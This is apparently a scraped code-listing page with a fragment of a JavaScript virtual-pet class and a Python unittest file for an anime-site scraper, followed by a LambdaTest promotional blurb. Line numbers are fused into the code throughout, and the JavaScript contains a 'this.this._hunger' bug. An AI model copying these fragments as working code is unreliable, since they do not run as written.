console.log((`\n\nHunger meter: ${this._hunger}\nThirst meter: ${this._thirst} \nHappiness meter: ${this._happiness} \nBladder meter: ${this._bladder} \nEnergy meter: ${this._energyLevel} \nSleep meter: ${this._sleep}\n\n`.cyan))172 }173 walk(){174 this._bladder --;175 this._hunger --;176 this._thirst --;177 this._energyLevel --;178 this._sleep ++;179 if(this._energyLevel <= 3 || this._sleep > 5){180 console.log("\n\nOh..now I am tired and sleepy".underline.magenta)181 } else if (this._thirst <= 3 || this.this._hunger <= 3){182 console.log("\n\nOh I am so hungry and thirsty...".underline.magenta)183 }184 return console.log((`\n\nHunger meter: ${this._hunger}\nThirst meter: ${this._thirst} \nHappiness meter: ${this._happiness} \nBladder meter: ${this._bladder} \nEnergy meter: ${this._energyLevel} \nSleep meter: ${this._sleep}\n\n`.cyan))185 }186 sleep(){187 this._bladder --;188 this._hunger --;189 // this._thirst --;190 this._energyLevel ++;191 this._sleep --;192 console.log(" Z ")193 console.log(" z ")194 console.log(" Z ")195 console.log(" z ")196 console.log(" Z ")197 console.log(" (..) ")198 }199 200 }201 202 203 204class Dog extends Animal{205 constructor(name){206 super(name)207 208 }209 210}211class Cat extends Animal{212 constructor(name){213 super(name)214 215 }216 217 }218 class Bunny extends Animal{219 constructor(name){220 super(name)221}...
test_browser.py
Source:test_browser.py
...6class TestBrowser(unittest.TestCase):7 def __init__(self, *args, **kargs):8 super(TestBrowser, self).__init__(*args, **kargs)9 self.browser = WonderfulSubsBrowser()10 def _sleep(self):11 time.sleep(1)12 def test_dubbed(self):13 "search site finds recent dubbed"14 search_res = self.browser.get_recent_dubbed()15 self.assertGreater(len(search_res), 1)16 def test_subbed(self):17 "search site finds recent subbed"18 search_res = self.browser.get_recent_subbed()19 self.assertGreater(len(search_res), 1)20 def test_popular_dubbed(self):21 "search site finds popular dubbed"22 search_res = self.browser.get_popular_dubbed()23 self.assertGreater(len(search_res), 1)24 def test_popular_subbed(self):25 "search site finds popular subbed"26 search_res = self.browser.get_popular_subbed()27 self.assertGreater(len(search_res), 1)28 def test_search_site(self):29 "search site finds naruto"30 search_res = self.browser.search_site("Naruto Shippuden")31 self.assertGreater(len(search_res), 0)32 search_item = filter(lambda x: x['name'] == u'Naruto: Shippuden (Dub)', search_res)33 self.assertEquals(len(search_item), 1)34 self.assertEquals(search_item[0]['url'], u'animes/naruto-shippuden-dub.00zr')35 self.assertEquals(search_item[0]['is_dir'], True)36 self._sleep()37 def test_search_with_pages(self):38 "search 'Dragon' and verify pages"39 search_res = self.browser.search_site("Dragon")40 self.assertGreaterEqual(len(search_res), 30)41 self.assertEqual(search_res[-1]['name'].startswith('Next Page (2'), True)42 self.assertEqual(search_res[-1], {43 'name': search_res[-1]['name'],44 'is_dir': True,45 'image': None,46 'url': 'search/Dragon/2'47 })48 self._sleep()49 def test_get_latest(self):50 "get_latest returns at least 10 items"51 latest = self.browser.get_latest()52 self.assertGreater(len(latest), 10)53 self._sleep()54 def test_get_latest_pages(self):55 "get_latest returns next page"56 latest = self.browser.get_latest()57 self.assertEqual(latest[-1]['name'].startswith('Next Page (2'), True)58 self.assertEqual(latest[-1], {59 'name': latest[-1]['name'],60 'is_dir': True,61 'image': None,62 'url': 'latest/2'63 })64 self._sleep()65 def test_get_newest(self):66 "get_newest returns at least 10 items"67 newest = self.browser.get_newest()68 self.assertGreater(len(newest), 10)69 self._sleep()70 def test_get_newest_pages(self):71 "get_newest returns next page"72 newest = self.browser.get_newest()73 self.assertEqual(newest[-1]['name'].startswith('Next Page (2'), True)74 self.assertEqual(newest[-1], {75 'name': newest[-1]['name'],76 'is_dir': True,77 'image': None,78 'url': 'newest/2'79 })80 self._sleep()81 def test_get_genres(self):82 "get_genres returns genere list"83 genre_list = self.browser.get_genres()84 self.assertGreater(len(genre_list), 0)85 self.assertIn({86 'url': 'genre/comedy/1',87 'is_dir': True,88 'image': '',89 'name': 'Comedy'90 }, genre_list)91 self._sleep()92 def test_get_genre(self):93 "get_genre returns anime list by genre"94 anime_list = self.browser.get_genre("action")95 self.assertGreater(len(anime_list), 10)96 self._sleep()97 def test_get_genre_pages(self):98 "get_genre returns anime list with pages"99 anime_list = self.browser.get_genre("action", 1)100 self.assertEqual(anime_list[-1]['name'].startswith('Next Page (2'), True)101 self.assertEqual(anime_list[-1], {102 'name': anime_list[-1]['name'],103 'is_dir': True,104 'image': None,105 'url': 'genre/action/2'106 })107 self._sleep()108 def test_get_anime_episodes(self):109 "get_anime_episodes works for one-piece"110 episodes = self.browser.get_anime_episodes("one-piece.ov8")111 self.assertGreaterEqual(len(episodes), 750)112 self.assertEqual(episodes[-1], {113 'url': u'play/one-piece.ov8/1',114 'is_dir': False, 'image': '',115 'name': u"Episode 1 (Dec 25, 2016 - 10:39)"116 })117 self._sleep()118 def test_get_episode_sources(self):119 "get_episode_sources find nartuo's first episode"120 sources = self.browser.get_episode_sources('one-piece.ov8', 1)121 self.assertGreaterEqual(len(sources), 3)122 self._sleep()123 def test_get_episode_video_url(self):124 "get_episode_sources find nartuo's first episode"125 sources = self.browser.get_episode_sources('one-piece.ov8', 1)126 self.assertGreaterEqual(len(sources), 3)127 self._sleep()128if __name__ == "__main__":...
Learn to execute automation testing from scratch with LambdaTest Learning Hub. Right from setting up the prerequisites to run your first automation test, to following best practices and diving deeper into advanced test scenarios. LambdaTest Learning Hubs compile a list of step-by-step guides to help you be proficient with different test automation frameworks i.e. Selenium, Cypress, TestNG etc.
You could also refer to video tutorials over LambdaTest YouTube channel to get step by step demonstration from industry experts.
Get 100 minutes of automation test minutes FREE!!